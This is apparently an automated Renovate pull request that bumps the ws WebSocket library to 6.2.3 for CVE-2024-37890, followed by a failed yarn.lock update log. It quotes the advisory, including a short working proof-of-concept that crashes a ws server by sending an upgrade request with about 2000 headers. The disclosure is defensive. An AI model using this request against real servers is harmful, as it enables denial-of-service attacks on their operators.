fix(deps): update dependency ws to v6.2.3 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
ws	6.2.2 -> 6.2.3

GitHub Vulnerability Alerts

CVE-2024-37890

Impact

A request with a number of headers exceeding theserver.maxHeadersCount threshold could be used to crash a ws server.

Proof of concept

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
  const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
  const headers = {};
  let count = 0;

  for (let i = 0; i < chars.length; i++) {
    if (count === 2000) break;

    for (let j = 0; j < chars.length; j++) {
      const key = chars[i] + chars[j];
      headers[key] = 'x';

      if (++count === 2000) break;
    }
  }

  headers.Connection = 'Upgrade';
  headers.Upgrade = 'websocket';
  headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
  headers['Sec-WebSocket-Version'] = '13';

  const request = http.request({
    headers: headers,
    host: '127.0.0.1',
    port: wss.address().port
  });

  request.end();
});

Patches

The vulnerability was fixed in ws@8.17.1 (websockets/ws@e55e510) and backported to ws@7.5.10 (websockets/ws@22c2876), ws@6.2.3 (websockets/ws@eeb76d3), and ws@5.2.4 (websockets/ws@4abd8f6)

Workarounds

In vulnerable versions of ws, the issue can be mitigated in the following ways:

1. Reduce the maximum allowed length of the request headers using the --max-http-header-size=size and/or the maxHeaderSize options so that no more headers than the server.maxHeadersCount limit can be sent.
2. Set server.maxHeadersCount to 0 so that no limit is applied.

Credits

The vulnerability was reported by Ryan LaPointe in https://github.com/websockets/ws/issues/2230.

References

• https://github.com/websockets/ws/issues/2230
• https://github.com/websockets/ws/pull/2231

---

Release Notes

websockets/ws (ws)

v6.2.3

Compare Source

Bug fixes

• Backported e55e510 to the 6.x release line (eeb76d3).

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR has been generated by Mend Renovate. View repository job log here.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: yarn.lock

[16:29:27.694] INFO (53): Installing tool node@9.11.2...
[16:29:36.516] WARN (53): Npm error:
npm ERR! weird error 1
[16:29:36.516] FATAL (53): node-gyp update command failed
    err: {
      "type": "Error",
      "message": "node-gyp update command failed",
      "stack":
          Error: node-gyp update command failed
              at InstallNodeService.updateNodeGyp (/snapshot/dist/containerbase-cli.js:51351:13)
              at process.processTicksAndRejections (node:internal/process/task_queues:95:5)
              at async InstallNodeService.install (/snapshot/dist/containerbase-cli.js:51615:7)
              at async InstallToolService.execute (/snapshot/dist/containerbase-cli.js:52185:11)
              at async InstallToolShortCommand.execute (/snapshot/dist/containerbase-cli.js:52434:14)
              at async InstallToolShortCommand.validateAndExecute (/snapshot/dist/containerbase-cli.js:2428:26)
              at async _Cli.run (/snapshot/dist/containerbase-cli.js:3541:22)
              at async _Cli.runExit (/snapshot/dist/containerbase-cli.js:3549:28)
              at async main (/snapshot/dist/containerbase-cli.js:52628:3)
    }
[16:29:36.916] INFO (53): Installed tool node with errors in 9.2s.